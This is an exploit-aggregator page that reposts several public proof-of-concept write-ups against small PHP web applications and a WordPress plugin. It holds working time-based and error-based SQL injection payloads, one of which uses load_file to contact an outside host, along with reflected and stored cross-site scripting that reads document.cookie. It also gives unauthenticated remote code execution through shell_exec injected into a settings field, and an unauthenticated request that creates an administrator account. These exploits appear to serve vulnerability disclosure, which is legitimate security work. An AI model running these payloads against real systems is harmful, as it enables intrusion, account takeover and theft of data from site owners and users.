Latest exploits :: CodePwn

<pre><code># Exploit Title: Online Veterinary Appointment System 1.0 - 'Multiple' SQL Injection # Date: 05/01/20222 # Exploit Author: twseptian # Vendor Homepage: https://www.sourcecodester.com/php/15119/online-veterinary-appointment-system-using-phpoop-free-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/ovas.zip # Version: v1.0 # Tested on: Kali Linux 2021.4 ===================================================================================================================================== SQL Injection: ===================================================================================================================================== SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Online Veterinary Appointment System 1.0 is vulnerable to 'Multiple' SQL injections. ===================================================================================================================================== Attack Vector: ===================================================================================================================================== An attacker can compromise the database of the application using some automated(or manual) tools like SQLmap. ===================================================================================================================================== 1. Appointment Requests - Vulnerable Parameter(s): id ===================================================================================================================================== Steps of reproduce: Step-1: On the dashboard navigate to 'Appointment Requests' page using the following URL: http://localhost/ovas/admin/?page=appointments then go to 'Action' > 'View'. Step-2: Put the SQL Injection payloads in 'id' field. time-based blind payload : page=appointments/view_details&id=1' AND (SELECT 2197 FROM (SELECT(SLEEP(5)))DZwi) AND 'mQQq'='mQQq Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds. ===================================================================================================================================== 2. Inquiries - Vulnerable Parameter(s): id ===================================================================================================================================== Steps of reproduce: Step-1: On the dashboard navigate to 'Inquiries' page using the following URL: http://localhost/ovas/admin/?page=inquiries then go to 'Action' > 'View'. Step-2: Let's intercept 'View' request using burpsuite: GET /ovas/admin/inquiries/view_details.php?id=1 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://localhost/ovas/admin/?page=inquiries Cookie: columns%2Fsuperschool%2Fcourses_view.php={%22courses-name%22:true}; columns%2Fsuperschool%2Fstudents_view.php={%22students-regno%22:true%2C%22students-name%22:true%2C%22students-course%22:true%2C%22students-year%22:true%2C%22students-academicyear%22:true}; columns%2Fsuperschool%2Fattendance_view.php={%22attendance-student%22:true%2C%22attendance-regno%22:true%2C%22attendance-week%22:true%2C%22attendance-date%22:true%2C%22attendance-unit%22:true%2C%22attendance-attended%22:true%2C%22attendance-semester%22:true%2C%22attendance-academicyear%22:true}; columns%2Fsuperschool%2Funits_view.php={%22units-name%22:true}; Student_Management_System=od4k9dre71c7assr0bldij1r1l; PHPSESSID=ml909jot3g3pr65oh31l8ip6j9 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Put the SQL Injection payloads in 'id' field. time-based blind payload : /ovas/admin/inquiries/view_details.php?id=1' AND (SELECT 6051 FROM (SELECT(SLEEP(5)))DEds) AND 'SOxP'='SOxP Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds. ===================================================================================================================================== 3. My Account - Vulnerable Parameter(s): id,firstname,lastname,username ===================================================================================================================================== Steps of reproduce: Step-1: On the dashboard navigate to 'My Account' page using the following URL: http://localhost/ovas/admin/?page=user Step-2: then let's intercept 'Update' request using burpsuite: POST /ovas/classes/Users.php?f=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------24959341351495697487735843118 Content-Length: 796 Origin: http://localhost Connection: close Referer: http://localhost/ovas/admin/?page=user Cookie: columns%2Fsuperschool%2Fcourses_view.php={%22courses-name%22:true}; columns%2Fsuperschool%2Fstudents_view.php={%22students-regno%22:true%2C%22students-name%22:true%2C%22students-course%22:true%2C%22students-year%22:true%2C%22students-academicyear%22:true}; columns%2Fsuperschool%2Fattendance_view.php={%22attendance-student%22:true%2C%22attendance-regno%22:true%2C%22attendance-week%22:true%2C%22attendance-date%22:true%2C%22attendance-unit%22:true%2C%22attendance-attended%22:true%2C%22attendance-semester%22:true%2C%22attendance-academicyear%22:true}; columns%2Fsuperschool%2Funits_view.php={%22units-name%22:true}; Student_Management_System=od4k9dre71c7assr0bldij1r1l; PHPSESSID=ml909jot3g3pr65oh31l8ip6j9 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="id" 4 -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="firstname" user -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="lastname" user -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="username" user -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="password" -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream -----------------------------24959341351495697487735843118-- Put the SQL Injection payloads in Vulnerable Parameter(s): id,firstname,lastname,username for example, the time-based blind payload in 'id': [SNIP] Content-Disposition: form-data; name="id" 4 AND (SELECT 9713 FROM (SELECT(SLEEP(5)))YIam) -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="firstname" user -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="lastname" user -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="username" user -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="password" -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream -----------------------------24959341351495697487735843118-- Step-3: If we use BurpSuite, click 'Send'. The server target accepted our payload, and the response got delayed by 5 seconds. The same thing for other parameters ===================================================================================================================================== 4. Category List - Vulnerable Parameter(s): id ===================================================================================================================================== Steps of reproduce: Step-1: On the dashboard navigate to 'Category List ' page using the following URL: http://localhost/ovas/admin/?page=categories then go to 'Action' > 'Edit' Step-2: Let's intercept 'Edit' request using burpsuite: GET /ovas/admin/categories/manage_category.php?id=2 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://localhost/ovas/admin/?page=categories Cookie: columns%2Fsuperschool%2Fcourses_view.php={%22courses-name%22:true}; columns%2Fsuperschool%2Fstudents_view.php={%22students-regno%22:true%2C%22students-name%22:true%2C%22students-course%22:true%2C%22students-year%22:true%2C%22students-academicyear%22:true}; columns%2Fsuperschool%2Fattendance_view.php={%22attendance-student%22:true%2C%22attendance-regno%22:true%2C%22attendance-week%22:true%2C%22attendance-date%22:true%2C%22attendance-unit%22:true%2C%22attendance-attended%22:true%2C%22attendance-semester%22:true%2C%22attendance-academicyear%22:true}; columns%2Fsuperschool%2Funits_view.php={%22units-name%22:true}; Student_Management_System=od4k9dre71c7assr0bldij1r1l; PHPSESSID=ml909jot3g3pr65oh31l8ip6j9 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Put the SQL Injection payloads in 'id' field. time-based blind payload : /ovas/admin/categories/manage_category.php?id=2' AND (SELECT 3851 FROM (SELECT(SLEEP(5)))UFXk) AND 'XbFb'='XbFb Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds. ===================================================================================================================================== 5. Service List - Vulnerable Parameter(s): id ===================================================================================================================================== Steps of reproduce: Step-1: On the dashboard navigate to 'Service List ' page using the following URL: http://localhost/ovas/admin/?page=services then go to 'Action' > 'View' Step-2: Let's intercept 'View' request using burpsuite: GET /ovas/admin/services/view_service.php?id=4 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://localhost/ovas/admin/?page=services Cookie: columns%2Fsuperschool%2Fcourses_view.php={%22courses-name%22:true}; columns%2Fsuperschool%2Fstudents_view.php={%22students-regno%22:true%2C%22students-name%22:true%2C%22students-course%22:true%2C%22students-year%22:true%2C%22students-academicyear%22:true}; columns%2Fsuperschool%2Fattendance_view.php={%22attendance-student%22:true%2C%22attendance-regno%22:true%2C%22attendance-week%22:true%2C%22attendance-date%22:true%2C%22attendance-unit%22:true%2C%22attendance-attended%22:true%2C%22attendance-semester%22:true%2C%22attendance-academicyear%22:true}; columns%2Fsuperschool%2Funits_view.php={%22units-name%22:true}; Student_Management_System=od4k9dre71c7assr0bldij1r1l; PHPSESSID=ml909jot3g3pr65oh31l8ip6j9 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Put the SQL Injection payloads in 'id' field. time-based blind payload : /ovas/admin/services/view_service.php?id=4' AND (SELECT 5507 FROM (SELECT(SLEEP(5)))kAsY) AND 'UrUQ'='UrUQ Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds. ===================================================================================================================================== 6. Admin User List - Vulnerable Parameter(s): id ===================================================================================================================================== Steps of reproduce: Step-1: On the dashboard navigate to 'Admin User List ' page using the following URL: http://localhost/ovas/admin/?page=user/list then go to 'Action' > 'Edit' Step-2: Let's intercept 'Edit' request using burpsuite: GET /ovas/admin/?page=user/manage_user&id=3 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://localhost/ovas/admin/?page=user/list Cookie: columns%2Fsuperschool%2Fcourses_view.php={%22courses-name%22:true}; columns%2Fsuperschool%2Fstudents_view.php={%22students-regno%22:true%2C%22students-name%22:true%2C%22students-course%22:true%2C%22students-year%22:true%2C%22students-academicyear%22:true}; columns%2Fsuperschool%2Fattendance_view.php={%22attendance-student%22:true%2C%22attendance-regno%22:true%2C%22attendance-week%22:true%2C%22attendance-date%22:true%2C%22attendance-unit%22:true%2C%22attendance-attended%22:true%2C%22attendance-semester%22:true%2C%22attendance-academicyear%22:true}; columns%2Fsuperschool%2Funits_view.php={%22units-name%22:true}; Student_Management_System=od4k9dre71c7assr0bldij1r1l; PHPSESSID=ml909jot3g3pr65oh31l8ip6j9 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Put the SQL Injection payloads in 'id' field. time-based blind payload : /ovas/admin/services/view_service.php?id=4' AND (SELECT 5507 FROM (SELECT(SLEEP(5)))kAsY) AND 'UrUQ'='UrUQ Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds. </code></pre>

<pre><code># Exploit Title: Contact Form Entries < 1.1.7 - Unauthenticated Stored Cross-Site Scripting. # Date: 22/12/2021 # Exploit Author: gx1 <gaetano.perrone[at]secsi.io> # Vulnerability Discovery: Gaetano Perrone (aka gx1) # Vendor Homepage: https://www.crmperks.com/ # Software Link: https://wordpress.org/plugins/contact-form-entries/ # Version: < 1.2.4 # Tested on: any # CVE : CVE-2021-25079 # References: * https://wpscan.com/vulnerability/c3d49271-9656-4428-8357-0d1d77b7fc63 * https://secsi.io/blog/cve-2021-25079-multiple-reflected-xss-in-contact-form-entries-plugin/ # Description: Several params of vxcf_leads administrator page are vulnerable to a Reflected Cross-Site-Scripting vulnerability. # Proof Of Concept: The following request: --------------------------------------------------------------------------------------------------------------------------------------- GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=desc&orderby=fir+GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=desc&orderby=fir+ --------------------------------------------------------------------------------------------------------------------------------------- returns the list of saved entries in the database. form_id value is reflected in <input> tag. form_id parameter is not sanitized, so it is possible to inject arbitrary values. The following request: --------------------------------------------------------------------------------------------------------------------------------------- http://example.com/wp-admin/admin.php?page=vxcf_leads&form_id=cf_5e1kpc%22+onmouseover%3Dalert%281%29+ne97l&status&tab=entries&search&order=desc&orderby=fir+ --------------------------------------------------------------------------------------------------------------------------------------- Allows to inject onmouseover inside the input form. ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- <input class="hide-column-tog" name="cf_5e1kpc\" onmouseover=alert(1) ne97l-vxvx-vxurl-hide" type="checkbox" id="cf_5e1kpc\" onmouseover=alert(1) ne97l-vxvx-vxurl-hide" value="cf_5e1kpc\" onmouseover=alert(1) ne97l-vxvx-vxurl" checked='checked' />Source</label><label> ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- By moving the mouse inside the click element, the vulnerability is triggered. Even if the vulnerability seems to require the user to move the mouse on the input element, it is possible to improve the attack by just injecting a “style” section that expands the input element with large width and height. In this way, when the user clicks on the link, javascript code is executed. status param is vulnerable to most dangerous XSS attack: just sending the following request ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- http://example.com/wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status=b9zrb--%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Eg482f&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- will execute XSS vulnerability. order, orderby and search parameters are also vulnerable to XSS: ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- http://example.com/wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=desc&orderby=fir%20ihj17%22accesskey%3d%22x%22onclick%3d%22alert(1)%22%2f%2fv9tdt ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- # Solution: Upgrade Contact Form Entries to version 1.2.4 </code></pre>

<pre><code>## Title: Online Examination System Project 1.0 SQL - Injections ## Author: nu11secur1ty ## Date: 01.10.2022 ## Vendor: https://projectworlds.in/free-projects/php-projects/ ## Software: https://projectworlds.in/free-projects/php-projects/online-examination/ ## Description: The eid parameter in `account.php` from Online Examination System 1.0 system appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\0jkmt3q30zv5dtuzpbb7tew1fsll9dz1q4ev1npc.tupaka.net\\xxi'))+' was submitted in the eid parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can take account control of all accounts plus an administrator account on this system. Status: CRITICAL [+] Payload: ```mysql --- Parameter: eid (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: q=quiz&step=2&eid=-2303' OR 9254=9254#&n=2&t=2 Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: q=quiz&step=2&eid=558920ff906b8'+(select load_file('\\\\0jkmt3q30zv5dtuzpbb7tew1fsll9dz1q4ev1npc.tupaka.net\\xxi'))+'' OR (SELECT 8851 FROM(SELECT COUNT(*),CONCAT(0x71627a7171,(SELECT (ELT(8851=8851,1))),0x7162766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- enxi&n=2&t=2 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: q=quiz&step=2&eid=558920ff906b8'+(select load_file('\\\\0jkmt3q30zv5dtuzpbb7tew1fsll9dz1q4ev1npc.tupaka.net\\xxi'))+'' AND (SELECT 2169 FROM (SELECT(SLEEP(3)))vUQa)-- mkFM&n=2&t=2 --- - admin PWNED: --- Parameter: eid (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: q=quiz&step=2&eid=-3444' OR 9185=9185#&n=2&t=2 Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: q=quiz&step=2&eid=558920ff906b8'+(select load_file('\\\\0jkmt3q30zv5dtuzpbb7tew1fsll9dz1q4ev1npc.tupaka.net\\xxi'))+'' OR (SELECT 8668 FROM(SELECT COUNT(*),CONCAT(0x716b7a6271,(SELECT (ELT(8668=8668,1))),0x716a6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- STVX&n=2&t=2 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: q=quiz&step=2&eid=558920ff906b8'+(select load_file('\\\\0jkmt3q30zv5dtuzpbb7tew1fsll9dz1q4ev1npc.tupaka.net\\xxi'))+'' AND (SELECT 4208 FROM (SELECT(SLEEP(3)))GPoO)-- AvEf&n=2&t=2 --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/edit/main/vendors/Projectworlds/2022/Online%20Examination%20System) ## Proof and Exploit: [href](https://streamable.com/iigqg0) -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html and https://www.exploit-db.com/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> </code></pre>

<pre><code>#Exploit Title: Online Railway Reservation System 1.0 - Remote Code Execution (RCE) (Unauthenticated) #Date: 07/01/2022 #Exploit Author: Zachary Asher #Vendor Homepage: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html #Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/orrs.zip #Version: 1.0 #Tested on: Online Railway Reservation System 1.0 ===================================================================================================================================== Command Execution ===================================================================================================================================== POST /orrs/classes/SystemSettings.php?f=update_settings HTTP/1.1 Host: localhost Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------41914587873111789572282654447 Content-Length: 164 -----------------------------41914587873111789572282654447 Content-Disposition: form-data; name="content[welcome]" <?php echo shell_exec('id -a'); ?> ===================================================================================================================================== View Output ===================================================================================================================================== GET /orrs/ HTTP/1.1 Host: localhost Content-Length: 2 ===================================================================================================================================== View Only STDOUT ===================================================================================================================================== curl -i -s -k -X $'GET' \ -H $'Host: localhost' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'http://localhost/orrs/'| sed -n '/\"welcome-content\"/,/<\/div/p' | grep -v '<' </code></pre>

<pre><code>#Exploit Title: Online Railway Reservation System 1.0 - Admin Account Creation (Unauthenticated) #Date: 07/01/2022 #Exploit Author: Zachary Asher #Vendor Homepage: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html #Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/orrs.zip #Version: 1.0 #Tested on: Online Railway Reservation System 1.0 ===================================================================================================================================== Account Creation ===================================================================================================================================== POST /orrs/classes/Users.php?f=save HTTP/1.1 Host: localhost Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------344736580936503100812880815036 Content-Length: 602 -----------------------------344736580936503100812880815036 Content-Disposition: form-data; name="firstname" testing -----------------------------344736580936503100812880815036 Content-Disposition: form-data; name="lastname" testing -----------------------------344736580936503100812880815036 Content-Disposition: form-data; name="username" testing -----------------------------344736580936503100812880815036 Content-Disposition: form-data; name="password" testing -----------------------------344736580936503100812880815036 Content-Disposition: form-data; name="type" 1 </code></pre>

<pre><code>#Exploit Title: Online Railway Reservation System 1.0 - 'Multiple' Stored Cross Site Scripting (XSS) (Unauthenticated) #Date: 07/01/2022 #Exploit Author: Zachary Asher #Vendor Homepage: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html #Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/orrs.zip #Version: 1.0 #Tested on: Online Railway Reservation System 1.0 1) ===================================================================================================================================== To Store XSS (about_us) ===================================================================================================================================== POST /orrs/classes/SystemSettings.php?f=update_settings HTTP/1.1 Host: localhost Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------41914587873111789572282654447 Content-Length: 159 -----------------------------41914587873111789572282654447 Content-Disposition: form-data; name="content[about_us]" <svg/onload=alert(document.cookie)> ===================================================================================================================================== To Trigger Stored XSS (about_us) ===================================================================================================================================== Browse to http://<ip>/orrs/?page=about 2) ===================================================================================================================================== To Store XSS (train code) ===================================================================================================================================== POST /orrs/classes/Master.php?f=save_train HTTP/1.1 Host: localhost Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------271324269624375374252271437649 Content-Length: 254 -----------------------------271324269624375374252271437649 Content-Disposition: form-data; name="id" 1 -----------------------------271324269624375374252271437649 Content-Disposition: form-data; name="code" <svg/onload=alert(document.cookie)> ===================================================================================================================================== To Trigger XSS (train code) ===================================================================================================================================== Browse to http://localhost/orrs/?page=schedules </code></pre>